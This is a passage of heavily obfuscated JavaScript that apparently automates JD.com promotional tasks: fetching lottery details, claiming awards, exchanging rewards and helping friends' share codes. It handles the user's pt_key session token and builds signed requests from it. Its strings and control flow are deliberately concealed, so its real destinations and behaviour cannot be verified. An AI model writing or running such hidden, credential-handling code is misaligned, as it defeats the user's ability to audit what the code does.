_0xf3e1f3[_0xb3c9('1af','XZos')](_0x42cd5f,_0x472713);},'CKOHH':_0xf3e1f3[_0xb3c9('1b0','Xorc')],'svKuj':function(_0x1f7e3b,_0x1620f0){return _0xf3e1f3[_0xb3c9('1b1','eAka')](_0x1f7e3b,_0x1620f0);},'TeMAt':_0xf3e1f3[_0xb3c9('1b2','8Yzp')],'yliXg':_0xf3e1f3[_0xb3c9('1b3','FlxD')],'cjBnN':function(_0x24b87a,_0x924c97){return _0xf3e1f3[_0xb3c9('1b4','eAka')](_0x24b87a,_0x924c97);},'sVJNR':function(_0x5e6606,_0xb62a66){return _0xf3e1f3[_0xb3c9('1b5','12Q8')](_0x5e6606,_0xb62a66);},'DQWei':_0xf3e1f3[_0xb3c9('1b6','KqoH')]};if(_0xf3e1f3[_0xb3c9('1b7','px$D')](_0xf3e1f3[_0xb3c9('1b8','bu#e')],_0xf3e1f3[_0xb3c9('1b9','D[D@')])){_0x1c6f4a[_0xb3c9('1ba','0XYQ')](_0x48246a,data);}else{$[_0xb3c9('1bb','sgNu')](_0xf3e1f3[_0xb3c9('1bc','FlxD')](taskPostUrl,_0xf3e1f3[_0xb3c9('1bd','#5oK')],_0xf3e1f3[_0xb3c9('1be','A)dp')]),async(_0x1245bc,_0x23bd67,_0x1c7f4e)=>{try{if(_0x1245bc){if(_0x1c6f4a[_0xb3c9('1bf','%YG$')](_0x1c6f4a[_0xb3c9('1c0','USUq')],_0x1c6f4a[_0xb3c9('1c1','FlxD')])){$[_0xb3c9('1c2','%YG$')]=_0x1c7f4e[_0x1c6f4a[_0xb3c9('1c3','O^Ux')]][_0xb3c9('1c4','A)dp')];}else{console[_0xb3c9('84','x1NV')](''+JSON[_0xb3c9('1c5','8Yzp')](_0x1245bc));console[_0xb3c9('137','wR@t')]($[_0xb3c9('fd','wR@t')]+_0xb3c9('1c6','BA!&'));}}else{if(_0x1c6f4a[_0xb3c9('1c7','wR@t')](_0x1c6f4a[_0xb3c9('1c8','W%VK')],_0x1c6f4a[_0xb3c9('1c9','QPLX')])){if(_0x1c6f4a[_0xb3c9('1ca','A)dp')](safeGet,_0x1c7f4e)){_0x1c7f4e=JSON[_0xb3c9('1cb','SI8%')](_0x1c7f4e);if(_0x1c6f4a[_0xb3c9('1cc','8Yzp')](_0x1c7f4e[_0xb3c9('1cd','Xorc')],0xc8)&&_0x1c7f4e[_0xb3c9('1ce','Hi&L')]){let _0x1a0eab=_0x1c7f4e[_0xb3c9('1cf','sgNu')][_0xb3c9('1d0','[XP5')](_0x239fe0=>_0x239fe0[_0xb3c9('1d1','%YG$')]===0x2);for(let _0xa84e3f of _0x1a0eab){console[_0xb3c9('137','wR@t')](_0xb3c9('1d2','D[D@')+_0xa84e3f[_0xb3c9('1d3','7hNk')]+_0xb3c9('1d4','eg1*'));await _0x1c6f4a[_0xb3c9('1d5','A&sp')](getLotteryDetailsByActivityId,_0xa84e3f[_0xb3c9('1d6','eg1*')]);await $[_0xb3c9('1d7','kKc[')](0x3e8);}}}}else{$[_0xb3c9('1d8','12Q8')](e,_0x23bd67);}}}catch(_0x1e298f){$[_0xb3c9('1d9','Tq0]')](_0x1e298f,_0x23bd67);}finally{if(_0x1c6f4a[_0xb3c9('1da','54E@')](_0x1c6f4a[_0xb3c9('1db','j]ox')],_0x1c6f4a[_0xb3c9('1dc','eAka')])){_0x1c6f4a[_0xb3c9('1dd','W%VK')](_0x48246a,_0x1c7f4e);}else{$[_0xb3c9('1de','[XP5')]=[];}}});}});}function getLotteryDetailsByActivityId(_0x3932c6){var _0xfd4038={'BoPpf':function(_0x2e49cb,_0x51b2d8){return _0x2e49cb+_0x51b2d8;},'ZauCl':function(_0x23059e,_0xe46d7c){return _0x23059e+_0xe46d7c;},'oOJNL':_0xb3c9('1df','%YG$'),'vYPHC':_0xb3c9('1e0','Us6T'),'ZBioM':_0xb3c9('1e1','12Q8'),'CFiPx':_0xb3c9('1e2','54E@'),'VAizC':_0xb3c9('1e3','Tq0]'),'TfiYB':_0xb3c9('1e4','8Yzp'),'AuAhD':function(_0x463101,_0x273336){return _0x463101===_0x273336;},'YNtPZ':_0xb3c9('1e5','[XP5'),'WeAkB':_0xb3c9('1e6','UFS%'),'BIIdw':_0xb3c9('1e7','56Y['),'spNDd':_0xb3c9('1e8','0XYQ'),'sUTaN':function(_0x528065,_0x52d13a){return _0x528065(_0x52d13a);},'HNvQi':_0xb3c9('1e9','KqoH'),'hxzyR':_0xb3c9('1ea',']q[h'),'bFfbY':function(_0xa3a6ba,_0xcec6a){return _0xa3a6ba(_0xcec6a);},'bckDV':_0xb3c9('1eb','4&jl'),'SKJtS':_0xb3c9('1ec','vGPn'),'avpBX':function(_0x33a037,_0x84ea5e){return _0x33a037!==_0x84ea5e;},'FWciS':_0xb3c9('1ed','eg1*'),'IUrgu':_0xb3c9('1ee','FlxD'),'ACvTv':_0xb3c9('1ef','8^$1'),'WfRLq':function(_0x165bc9,_0x5b785a,_0xa51f86){return _0x165bc9(_0x5b785a,_0xa51f86);},'JPlID':_0xb3c9('1f0','8Yzp')};return new Promise(_0x44f46f=>{var _0x810e98={'gGsfn':function(_0x5adb14,_0x19f54e){return _0xfd4038[_0xb3c9('1f1','XZos')](_0x5adb14,_0x19f54e);},'aQkcJ':function(_0x5d3c07,_0x202d01){return _0xfd4038[_0xb3c9('1f2','A&sp')](_0x5d3c07,_0x202d01);},'puLcA':_0xfd4038[_0xb3c9('1f3','ST6I')],'AZiPJ':_0xfd4038[_0xb3c9('1f4','Tq0]')],'NQZZs':_0xfd4038[_0xb3c9('1f5','Xorc')],'zlldX':_0xfd4038[_0xb3c9('1f6','Hi&L')],'HUHEN':_0xfd4038[_0xb3c9('1f7','KqoH')],'xGpsu':_0xfd4038[_0xb3c9('1f8','p8(G')],'hRANk':function(_0x68520f,_0x58a381){return _0xfd4038[_0xb3c9('1f9','4&jl')](_0x68520f,_0x58a381);},'cAjCh':_0xfd4038[_0xb3c9('1fa','%YG$')],'RWZpK':_0xfd4038[_0xb3c9('1fb','sgNu')],'sLWki':_0xfd4038[_0xb3c9('1fc','UFS%')],'aylMy':_0xfd4038[_0xb3c9('1fd','O^Ux')],'glzlb':function(_0x3c16fe,_0x330350){return _0xfd4038[_0xb3c9('1fe','A)dp')](_0x3c16fe,_0x330350);},'mJJvb':function(_0x260e5e,_0x3c3f70){return _0xfd4038[_0xb3c9('1ff','vGPn')](_0x260e5e,_0x3c3f70);},'YkwGr':_0xfd4038[_0xb3c9('200','SI8%')],'JCFiY':_0xfd4038[_0xb3c9('201','56Y[')],'ABgFb':function(_0x4a4650,_0x56ccde){return _0xfd4038[_0xb3c9('202','Hi&L')](_0x4a4650,_0x56ccde);},'YzgXz':function(_0x4929fb,_0x25eba8){return _0xfd4038[_0xb3c9('203','sgNu')](_0x4929fb,_0x25eba8);},'nYJQY':_0xfd4038[_0xb3c9('204','RRYS')],'HmgQx':_0xfd4038[_0xb3c9('205','IV4a')],'qqoUK':function(_0x4f4139,_0x68c6f9){return _0xfd4038[_0xb3c9('206','[XP5')](_0x4f4139,_0x68c6f9);},'GdabU':_0xfd4038[_0xb3c9('207','oJ7R')],'jmsDn':function(_0x36beff,_0x181997){return _0xfd4038[_0xb3c9('208','FlxD')](_0x36beff,_0x181997);},'JxPwJ':_0xfd4038[_0xb3c9('209','D[D@')],'iCpKC':_0xfd4038[_0xb3c9('20a','A&sp')]};$[_0xb3c9('20b','oJ7R')](_0xfd4038[_0xb3c9('20c','7hNk')](taskPostUrl,_0xfd4038[_0xb3c9('20d','Tq0]')],_0xb3c9('20e','wR@t')+_0x3932c6),async(_0x42f843,_0x62cbaf,_0x164943)=>{var _0x14011c={'REwMe':function(_0x37679d,_0x552a49){return _0x810e98[_0xb3c9('20f','lVDY')](_0x37679d,_0x552a49);},'zYXCK':_0x810e98[_0xb3c9('210','54E@')],'VPRRp':_0x810e98[_0xb3c9('211','7hNk')]};try{if(_0x42f843){if(_0x810e98[_0xb3c9('212','Hi&L')](_0x810e98[_0xb3c9('213','[XP5')],_0x810e98[_0xb3c9('214','A&sp')])){_0x164943=JSON[_0xb3c9('83','eg1*')](_0x164943);if(_0x14011c[_0xb3c9('215','j]ox')](_0x164943[_0x14011c[_0xb3c9('216','oJ7R')]],0xd)){$[_0xb3c9('54','54E@')]=![];return;}if(_0x14011c[_0xb3c9('217','vGPn')](_0x164943[_0x14011c[_0xb3c9('218','12Q8')]],0x0)){$[_0xb3c9('5a','A)dp')]=_0x164943[_0x14011c[_0xb3c9('219','p8(G')]][_0xb3c9('21a','SI8%')];}else{$[_0xb3c9('21b','oJ7R')]=$[_0xb3c9('21c','IV4a')];}}else{console[_0xb3c9('21d','IV4a')](''+JSON[_0xb3c9('21e','12Q8')](_0x42f843));console[_0xb3c9('37','eg1*')]($[_0xb3c9('21f','Tq0]')]+_0xb3c9('220','vGPn'));}}else{if(_0x810e98[_0xb3c9('221','eg1*')](safeGet,_0x164943)){_0x164943=JSON[_0xb3c9('222','A)dp')](_0x164943);if(_0x810e98[_0xb3c9('223','4&jl')](_0x164943[_0xb3c9('224','[XP5')],0xc8)&&_0x164943[_0xb3c9('225','j]ox')]){if(_0x164943[_0xb3c9('226','ST6I')][_0xb3c9('227','D[D@')]){if(_0x810e98[_0xb3c9('228','bu#e')](_0x810e98[_0xb3c9('229','bu#e')],_0x810e98[_0xb3c9('22a','x1NV')])){console[_0xb3c9('3e','pLk9')](_0xb3c9('22b','UWcU')+_0x164943[_0xb3c9('22c','sgNu')]);}else{if(!_0x164943[_0xb3c9('104','USUq')][_0xb3c9('22d','56Y[')]){console[_0xb3c9('3e','pLk9')](_0xb3c9('22e','XZos'));await _0x810e98[_0xb3c9('22f','12Q8')](receiveOtherAwards,_0x3932c6);}else{if(_0x810e98[_0xb3c9('230','RRYS')](_0x810e98[_0xb3c9('231','0XYQ')],_0x810e98[_0xb3c9('232','pLk9')])){if(!cookie[_0xb3c9('90','SI8%')](/pt_key=([^; ]+)(?=;?)/))console[_0xb3c9('77','8^$1')](_0xb3c9('233','Hi&L'));let _0x46b9db=cookie[_0xb3c9('234','8^$1')](/pt_key=([^; ]+)(?=;?)/)[0x1];let _0x104c04=(+new Date())[_0xb3c9('235','Xorc')]();let _0x4428c6=$[_0xb3c9('236','ST6I')](_0x810e98[_0xb3c9('237','sgNu')](_0x810e98[_0xb3c9('238','eg1*')](_0x810e98[_0xb3c9('239',']q[h')](_0x46b9db,_0x810e98[_0xb3c9('23a','j]ox')]),function_id),_0x104c04));return{'url':''+JD_API_HOST+function_id,'body':body,'headers':{'Host':_0x810e98[_0xb3c9('23b','kKc[')],'pt-key':_0x46b9db,'Accept':_0x810e98[_0xb3c9('23c','msFj')],'time':_0x104c04[_0xb3c9('23d','A&sp')](),'source':'1','Referer':_0x810e98[_0xb3c9('23e','%YG$')],'Content-Type':_0x810e98[_0xb3c9('23f','Hi&L')],'sig':_0x4428c6,'User-Agent':_0x810e98[_0xb3c9('240','msFj')]}};}else{console[_0xb3c9('13','7hNk')](_0xb3c9('241','j]ox'));}}}}else{console[_0xb3c9('133','#5oK')](_0xb3c9('242','[XP5'));}}}}}catch(_0x48ad7b){if(_0x810e98[_0xb3c9('243','eAka')](_0x810e98[_0xb3c9('244','*IUv')],_0x810e98[_0xb3c9('245','lVDY')])){console[_0xb3c9('246','USUq')](_0xb3c9('247','*IUv')+_0x164943[_0xb3c9('248','Xorc')]);}else{$[_0xb3c9('249','8Yzp')](_0x48ad7b,_0x62cbaf);}}finally{if(_0x810e98[_0xb3c9('24a','W%VK')](_0x810e98[_0xb3c9('24b','8Yzp')],_0x810e98[_0xb3c9('24c','#5oK')])){exchangeFlag=process[_0xb3c9('24d','XZos')][_0xb3c9('24e','px$D')]||exchangeFlag;}else{_0x810e98[_0xb3c9('24f','O^Ux')](_0x44f46f,_0x164943);}}});});}function receiveOtherAwards(_0x4de34e){var _0x37570d={'nmKnz':function(_0x333432,_0x58c8ca){return _0x333432+_0x58c8ca;},'GuhZM':function(_0xabe8fc,_0x164cd){return _0xabe8fc+_0x164cd;},'iXScx':function(_0x6fc1e,_0x478279){return _0x6fc1e>=_0x478279;},'SvHKw':function(_0x4b0ba4,_0x25468b){return _0x4b0ba4+_0x25468b;},'GNbKW':function(_0x249e20,_0x27797){return _0x249e20+_0x27797;},'kMQwi':function(_0x3210e4,_0x12f7d9){return _0x3210e4===_0x12f7d9;},'iRdNc':_0xb3c9('250','D[D@'),'Ufakt':function(_0x2ef40d,_0x403486){return _0x2ef40d!==_0x403486;},'tKXNG':_0xb3c9('251','#5oK'),'mwpDN':_0xb3c9('252','#5oK'),'GUsDr':function(_0x50e9ec,_0x23969e){return _0x50e9ec(_0x23969e);},'OjwZR':_0xb3c9('253','sgNu'),'cfOSN':_0xb3c9('254','%YG$'),'nBWDT':function(_0x2ef544,_0x4c996e){return _0x2ef544===_0x4c996e;},'AxvxV':_0xb3c9('255','IV4a'),'jKocl':_0xb3c9('256','j]ox'),'bCQpn':function(_0x52acde,_0x510e5e,_0x5d0934){return _0x52acde(_0x510e5e,_0x5d0934);},'UUhAq':_0xb3c9('257','pLk9')};return new Promise(_0x44860a=>{$[_0xb3c9('258','0XYQ')](_0x37570d[_0xb3c9('259','W%VK')](taskPostUrl,_0x37570d[_0xb3c9('25a','wR@t')],_0xb3c9('25b','x1NV')+_0x4de34e+_0xb3c9('25c','eAka')),async(_0x2075cf,_0x4073f1,_0x52b4c7)=>{var _0x4c9d1a={'VeJzV':function(_0x11412e,_0xe5585c){return _0x37570d[_0xb3c9('25d','8^$1')](_0x11412e,_0xe5585c);},'QfUEK':function(_0x547a32,_0x36e484){return _0x37570d[_0xb3c9('25e','bu#e')](_0x547a32,_0x36e484);},'OWnaA':function(_0x5f316b,_0x450bc8){return _0x37570d[_0xb3c9('25f','Us6T')](_0x5f316b,_0x450bc8);},'VejeL':function(_0xe10639,_0x363380){return _0x37570d[_0xb3c9('260','kKc[')](_0xe10639,_0x363380);},'SKZTq':function(_0x486ada,_0x34f422){return _0x37570d[_0xb3c9('261','xgMb')](_0x486ada,_0x34f422);},'inazf':function(_0x25cd32,_0x39801f){return _0x37570d[_0xb3c9('262','A&sp')](_0x25cd32,_0x39801f);}};if(_0x37570d[_0xb3c9('263','BA!&')](_0x37570d[_0xb3c9('264','lVDY')],_0x37570d[_0xb3c9('265','0XYQ')])){try{if(_0x2075cf){if(_0x37570d[_0xb3c9('266','%YG$')](_0x37570d[_0xb3c9('267','pLk9')],_0x37570d[_0xb3c9('268','FlxD')])){console[_0xb3c9('a1','Us6T')](''+JSON[_0xb3c9('269','QPLX')](_0x2075cf));console[_0xb3c9('26a',']q[h')]($[_0xb3c9('2b','Hi&L')]+_0xb3c9('220','vGPn'));}else{let _0x237b16;if(time){_0x237b16=new Date(time);}else{_0x237b16=new Date();}return _0x4c9d1a[_0xb3c9('26b','vGPn')](_0x4c9d1a[_0xb3c9('26c','msFj')](_0x4c9d1a[_0xb3c9('26d','j]ox')](_0x4c9d1a[_0xb3c9('26e','UWcU')](_0x4c9d1a[_0xb3c9('26f','56Y[')](_0x237b16[_0xb3c9('270','xgMb')](),0x1),0xa)?_0x4c9d1a[_0xb3c9('271','A)dp')](_0x237b16[_0xb3c9('272','W%VK')](),0x1):_0x4c9d1a[_0xb3c9('273','KqoH')]('0',_0x4c9d1a[_0xb3c9('274','8^$1')](_0x237b16[_0xb3c9('275','8Yzp')](),0x1)),'月'),_0x4c9d1a[_0xb3c9('276','USUq')](_0x237b16[_0xb3c9('277','BA!&')](),0xa)?_0x237b16[_0xb3c9('278','O^Ux')]():_0x4c9d1a[_0xb3c9('279','px$D')]('0',_0x237b16[_0xb3c9('27a','sgNu')]())),'日');}}else{if(_0x37570d[_0xb3c9('27b','12Q8')](safeGet,_0x52b4c7)){if(_0x37570d[_0xb3c9('27c','lVDY')](_0x37570d[_0xb3c9('27d','XZos')],_0x37570d[_0xb3c9('27e','sgNu')])){console[_0xb3c9('c5','O^Ux')](_0xb3c9('27f','56Y[')+hour+_0xb3c9('280','*IUv')+vo[_0xb3c9('281','bu#e')]+_0xb3c9('282','0XYQ'));}else{_0x52b4c7=JSON[_0xb3c9('283','12Q8')](_0x52b4c7);console[_0xb3c9('158','RRYS')](_0x52b4c7[_0xb3c9('284','A&sp')]);}}}}catch(_0x479562){$[_0xb3c9('285','O^Ux')](_0x479562,_0x4073f1);}finally{if(_0x37570d[_0xb3c9('286','4&jl')](_0x37570d[_0xb3c9('287','Hi&L')],_0x37570d[_0xb3c9('288','pLk9')])){console[_0xb3c9('13','7hNk')](''+JSON[_0xb3c9('89','eg1*')](_0x2075cf));console[_0xb3c9('289','W%VK')]($[_0xb3c9('6e','sgNu')]+_0xb3c9('1c6','BA!&'));}else{_0x37570d[_0xb3c9('28a','p8(G')](_0x44860a,_0x52b4c7);}}}else{console[_0xb3c9('28b','Xorc')](''+JSON[_0xb3c9('28c','msFj')](_0x2075cf));console[_0xb3c9('28d','xgMb')]($[_0xb3c9('21f','Tq0]')]+_0xb3c9('f9','7hNk'));}});});}function exchange(_0x34ffe8=0x0){var _0xe6ee14={'dOFXV':_0xb3c9('28e','KqoH'),'AgHCo':function(_0x403518,_0x3782ed){return _0x403518!==_0x3782ed;},'BRwvY':_0xb3c9('28f','msFj'),'Bkboh':function(_0x3bb981,_0x2abe6b){return _0x3bb981(_0x2abe6b);},'qdxux':function(_0x211e60,_0x23b08a){return _0x211e60===_0x23b08a;},'cvKtG':_0xb3c9('290','xgMb'),'mQGZL':_0xb3c9('291','D[D@'),'NufnB':function(_0xae6607,_0x5ee3cc){return _0xae6607(_0x5ee3cc);},'pWDSN':function(_0x27b164,_0x638fb8,_0x50c195){return _0x27b164(_0x638fb8,_0x50c195);},'QfrxZ':_0xb3c9('292','[XP5')};return new Promise(_0x47405e=>{var _0x44dd2c={'DxOVL':_0xe6ee14[_0xb3c9('293','x1NV')],'liCSa':function(_0xcabfcb,_0x560984){return _0xe6ee14[_0xb3c9('294','p8(G')](_0xcabfcb,_0x560984);},'jFuMy':_0xe6ee14[_0xb3c9('295','Xorc')],'LLIVI':function(_0x1bc7ef,_0x3c6a1d){return _0xe6ee14[_0xb3c9('296','USUq')](_0x1bc7ef,_0x3c6a1d);},'AcQsK':function(_0x3230a2,_0x1b5fe4){return _0xe6ee14[_0xb3c9('297','msFj')](_0x3230a2,_0x1b5fe4);},'JaXUY':function(_0x7fdf8d,_0x1132fe){return _0xe6ee14[_0xb3c9('298','UFS%')](_0x7fdf8d,_0x1132fe);},'sosgR':_0xe6ee14[_0xb3c9('299','56Y[')],'IIGIC':_0xe6ee14[_0xb3c9('29a','RRYS')],'PUyFg':function(_0x306229,_0x3d108b){return _0xe6ee14[_0xb3c9('29b','UWcU')](_0x306229,_0x3d108b);}};$[_0xb3c9('29c','j]ox')](_0xe6ee14[_0xb3c9('29d','D[D@')](taskPostUrl,_0xe6ee14[_0xb3c9('29e','KqoH')],_0xb3c9('29f',']q[h')+_0x34ffe8),async(_0x34ccdc,_0x3a3c7a,_0x2906c3)=>{try{if(_0x34ccdc){if(_0x44dd2c[_0xb3c9('2a0','56Y[')](_0x44dd2c[_0xb3c9('2a1','eAka')],_0x44dd2c[_0xb3c9('2a2','lVDY')])){console[_0xb3c9('2a3','XZos')](e);$[_0xb3c9('2a4','UWcU')]($[_0xb3c9('bc','BA!&')],'',_0x44dd2c[_0xb3c9('2a5','%YG$')]);return[];}else{console[_0xb3c9('2a6','ST6I')](''+JSON[_0xb3c9('2a7','O^Ux')](_0x34ccdc));console[_0xb3c9('9a','sgNu')]($[_0xb3c9('2a8','8^$1')]+_0xb3c9('2a9','O^Ux'));}}else{if(_0x44dd2c[_0xb3c9('2aa','54E@')](safeGet,_0x2906c3)){_0x2906c3=JSON[_0xb3c9('2ab','xgMb')](_0x2906c3);if(_0x44dd2c[_0xb3c9('2ac','54E@')](_0x2906c3[_0xb3c9('224','[XP5')],0xc8)){$['db']+=_0x2906c3[_0xb3c9('2ad','wR@t')][_0xb3c9('2ae','ST6I')];console[_0xb3c9('2af','[XP5')](_0xb3c9('2b0','sgNu')+_0x2906c3[_0xb3c9('2b1','BA!&')][_0xb3c9('2b2','sgNu')]+_0xb3c9('2b3','KqoH'));}else{console[_0xb3c9('2af','[XP5')](_0xb3c9('2b4','j]ox')+_0x2906c3[_0xb3c9('2b5',']q[h')]);}}}}catch(_0x652da0){$[_0xb3c9('2b6','p8(G')](_0x652da0,_0x3a3c7a);}finally{if(_0x44dd2c[_0xb3c9('2b7','O^Ux')](_0x44dd2c[_0xb3c9('2b8','BA!&')],_0x44dd2c[_0xb3c9('2b9','%YG$')])){$[_0xb3c9('2ba','*IUv')](e,_0x3a3c7a);}else{_0x44dd2c[_0xb3c9('2bb','XZos')](_0x47405e,_0x2906c3);}}});});}function helpFriend(_0x15ed8b,_0x2ea8f8=_0xb3c9('2bc','Xorc')){var _0x41bec3={'AYYse':function(_0x3c1447,_0x2ce933){return _0x3c1447(_0x2ce933);},'vubdk':function(_0x50b0f1,_0xbb743b){return _0x50b0f1!==_0xbb743b;},'ykFvP':_0xb3c9('2bd','x1NV'),'dlVJa':function(_0x3b971f,_0x325e65){return _0x3b971f!==_0x325e65;},'pDlFW':_0xb3c9('2be','ST6I'),'kmLHR':function(_0x1a5572,_0x5eb4f5){return _0x1a5572(_0x5eb4f5);},'BvQAU':function(_0x3e2a90,_0x217a89){return _0x3e2a90===_0x217a89;},'mTyHO':_0xb3c9('2bf','xgMb'),'RThcU':_0xb3c9('2c0','Xorc'),'feWWM':function(_0x52ab56,_0xee4e0c){return _0x52ab56(_0xee4e0c);},'rtnMi':function(_0x54039a,_0x241808){return _0x54039a(_0x241808);},'GUVDF':function(_0x2fdac0,_0x20a673){return _0x2fdac0(_0x20a673);},'ypguN':function(_0x598a78,_0x9b3af5,_0x4f0577){return _0x598a78(_0x9b3af5,_0x4f0577);},'hekfs':_0xb3c9('2c1','sgNu')};return new Promise(_0x1eb147=>{var _0x1ec12a={'xFegI':function(_0x262aa8,_0x2ff1dd){return _0x41bec3[_0xb3c9('2c2','56Y[')](_0x262aa8,_0x2ff1dd);},'yfLpM':function(_0x198212,_0x29060d){return _0x41bec3[_0xb3c9('2c3','W%VK')](_0x198212,_0x29060d);},'AifeM':function(_0x10a3f7,_0x33aebf){return _0x41bec3[_0xb3c9('2c4','12Q8')](_0x10a3f7,_0x33aebf);}};$[_0xb3c9('2c5','x1NV')](_0x41bec3[_0xb3c9('2c6','j]ox')](taskPostUrl,_0x41bec3[_0xb3c9('2c7','x1NV')],_0xb3c9('2c8','8^$1')+_0x15ed8b+_0xb3c9('2c9','vGPn')+_0x2ea8f8),async(_0x15a942,_0x61cab7,_0x1c2b33)=>{var _0x2b07f4={'ZqhkJ':function(_0x3864cc,_0x5bbb76){return _0x41bec3[_0xb3c9('2ca','#5oK')](_0x3864cc,_0x5bbb76);}};try{if(_0x41bec3[_0xb3c9('2cb','p8(G')](_0x41bec3[_0xb3c9('2cc','D[D@')],_0x41bec3[_0xb3c9('2cd',']q[h')])){_0x1ec12a[_0xb3c9('2ce','lVDY')](_0x1eb147,_0x1c2b33);}else{if(_0x15a942){if(_0x41bec3[_0xb3c9('2cf','12Q8')](_0x41bec3[_0xb3c9('2d0','Hi&L')],_0x41bec3[_0xb3c9('2d1','KqoH')])){_0x2b07f4[_0xb3c9('2d2','p8(G')](_0x1eb147,_0x1c2b33);}else{console[_0xb3c9('12d','56Y[')](''+JSON[_0xb3c9('2d3','XZos')](_0x15a942));console[_0xb3c9('9a','sgNu')]($[_0xb3c9('60','XZos')]+_0xb3c9('2d4','eAka'));}}else{if(_0x41bec3[_0xb3c9('2d5','eg1*')](safeGet,_0x1c2b33)){_0x1c2b33=JSON[_0xb3c9('2d6','oJ7R')](_0x1c2b33);console[_0xb3c9('15a','j]ox')](_0x1c2b33[_0xb3c9('2d7','56Y[')]);}}}}catch(_0x3b5b03){$[_0xb3c9('2d8','pLk9')](_0x3b5b03,_0x61cab7);}finally{if(_0x41bec3[_0xb3c9('2d9','D[D@')](_0x41bec3[_0xb3c9('2da','Hi&L')],_0x41bec3[_0xb3c9('2db','UWcU')])){if(_0x1ec12a[_0xb3c9('2dc','W%VK')](safeGet,_0x1c2b33)){_0x1c2b33=JSON[_0xb3c9('2dd','p8(G')](_0x1c2b33);if(_0x1ec12a[_0xb3c9('2de','j]ox')](_0x1c2b33[_0xb3c9('2df','D[D@')],0xc8)){console[_0xb3c9('2e0','bu#e')](_0xb3c9('2e1','[XP5'));}else{console[_0xb3c9('21d','IV4a')](_0xb3c9('2e2','%YG$')+_0x1c2b33[_0xb3c9('2e3','4&jl')]);}}}else{_0x41bec3[_0xb3c9('2e4','x1NV')](_0x1eb147,_0x1c2b33);}}});});}function getWelfareInfo(){var _0x4c72ce={'KMsGE':function(_0x38e872,_0x1c0089){return _0x38e872(_0x1c0089);},'DOtVX':function(_0x2d24ac,_0x47c5d7){return _0x2d24ac===_0x47c5d7;},'RbaEG':_0xb3c9('2e5',']q[h'),'dtCYS':function(_0x1dd3fc,_0x4043c2){return _0x1dd3fc(_0x4043c2);},'stqpP':function(_0x1aead6,_0xefc9d){return _0x1aead6!==_0xefc9d;},'yiFFE':_0xb3c9('2e6','8Yzp'),'AcwNH':_0xb3c9('2e7','RRYS'),'jJjUN':function(_0x499e8d,_0x1c651e){return _0x499e8d===_0x1c651e;},'TLlEj':_0xb3c9('2e8','4&jl'),'HbHff':_0xb3c9('2e9','A)dp'),'bcigw':_0xb3c9('2ea','8^$1'),'tVfLa':function(_0x363b59,_0x182b9c,_0x24180a){return _0x363b59(_0x182b9c,_0x24180a);},'RMmul':_0xb3c9('2eb','vGPn'),'bxCyI':function(_0x318592,_0x271d0d){return _0x318592(_0x271d0d);},'xHHxw':_0xb3c9('2ec','8Yzp')};return new Promise(_0x47504c=>{var _0xd05fbf={'ZkQSg':function(_0x3163d2,_0x594426){return _0x4c72ce[_0xb3c9('2ed','8Yzp')](_0x3163d2,_0x594426);},'xXoSq':function(_0x3f3131,_0x237350){return _0x4c72ce[_0xb3c9('2ee','KqoH')](_0x3f3131,_0x237350);},'zQzKD':_0x4c72ce[_0xb3c9('2ef','A&sp')],'LJRZW':function(_0x3103d1,_0x1980fe){return _0x4c72ce[_0xb3c9('2f0','%YG$')](_0x3103d1,_0x1980fe);},'BuEhX':function(_0x47a5a4,_0x2838be){return _0x4c72ce[_0xb3c9('2f1','Tq0]')](_0x47a5a4,_0x2838be);},'aCdto':function(_0x1a5690,_0x346065){return _0x4c72ce[_0xb3c9('2f2','QPLX')](_0x1a5690,_0x346065);},'fAtzk':_0x4c72ce[_0xb3c9('2f3','UFS%')],'WeiIS':_0x4c72ce[_0xb3c9('2f4','QPLX')],'jNIgm':function(_0x58bf63,_0xf8b52a){return _0x4c72ce[_0xb3c9('2f5','7hNk')](_0x58bf63,_0xf8b52a);},'XVdeH':_0x4c72ce[_0xb3c9('2f6','SI8%')],'DgFBL':_0x4c72ce[_0xb3c9('2f7','56Y[')],'SFqlb':function(_0x5ed1f1,_0x5870c1){return _0x4c72ce[_0xb3c9('2f8','j]ox')](_0x5ed1f1,_0x5870c1);},'jstop':_0x4c72ce[_0xb3c9('2f9','Tq0]')],'QpSrz':function(_0x47ece6,_0x33d413,_0xd7901e){return _0x4c72ce[_0xb3c9('2fa','Tq0]')](_0x47ece6,_0x33d413,_0xd7901e);},'TwEOk':_0x4c72ce[_0xb3c9('2fb','eAka')]};$[_0xb3c9('2fc','Us6T')](_0x4c72ce[_0xb3c9('2fd','XZos')](taskUrl,_0x4c72ce[_0xb3c9('2fe','msFj')]),async(_0x5420d3,_0x401d75,_0x455f5f)=>{var _0x454c8e={'pTndK':function(_0x133a00,_0x1b3a62){return _0xd05fbf[_0xb3c9('2ff','O^Ux')](_0x133a00,_0x1b3a62);}};try{if(_0x5420d3){console[_0xb3c9('12d','56Y[')](''+JSON[_0xb3c9('300','p8(G')](_0x5420d3));console[_0xb3c9('246','USUq')]($[_0xb3c9('60','XZos')]+_0xb3c9('301','A&sp'));}else{if(_0xd05fbf[_0xb3c9('302','FlxD')](_0xd05fbf[_0xb3c9('303','msFj')],_0xd05fbf[_0xb3c9('304','D[D@')])){if(_0xd05fbf[_0xb3c9('305','56Y[')](safeGet,_0x455f5f)){_0x455f5f=JSON[_0xb3c9('306','*IUv')](_0x455f5f);if(_0xd05fbf[_0xb3c9('307','j]ox')](_0x455f5f[_0xb3c9('308','W%VK')],0xc8)&&_0x455f5f[_0xb3c9('104','USUq')]&&_0x455f5f[_0xb3c9('309','KqoH')][_0xb3c9('30a','x1NV')]){for(let _0x4914df of[..._0x455f5f[_0xb3c9('30b','UWcU')][_0xb3c9('30c','XZos')],..._0x455f5f[_0xb3c9('30d','kKc[')][_0xb3c9('30e','54E@')]]){if(_0xd05fbf[_0xb3c9('30f','IV4a')](_0xd05fbf[_0xb3c9('310','*IUv')],_0xd05fbf[_0xb3c9('311','UFS%')])){console[_0xb3c9('312','UWcU')](''+JSON[_0xb3c9('313','0XYQ')](_0x5420d3));console[_0xb3c9('21d','IV4a')]($[_0xb3c9('314','kKc[')]+_0xb3c9('315','4&jl'));}else{if(_0x4914df[_0xb3c9('316','#5oK')]){if(_0xd05fbf[_0xb3c9('317','Xorc')](_0xd05fbf[_0xb3c9('318','BA!&')],_0xd05fbf[_0xb3c9('319','Us6T')])){_0x455f5f=JSON[_0xb3c9('1cb','SI8%')](_0x455f5f);console[_0xb3c9('b9','SI8%')](_0x455f5f[_0xb3c9('31a','BA!&')]);}else{if(_0xd05fbf[_0xb3c9('31b','Hi&L')]($[_0xb3c9('31c','BA!&')],0x1))$[_0xb3c9('3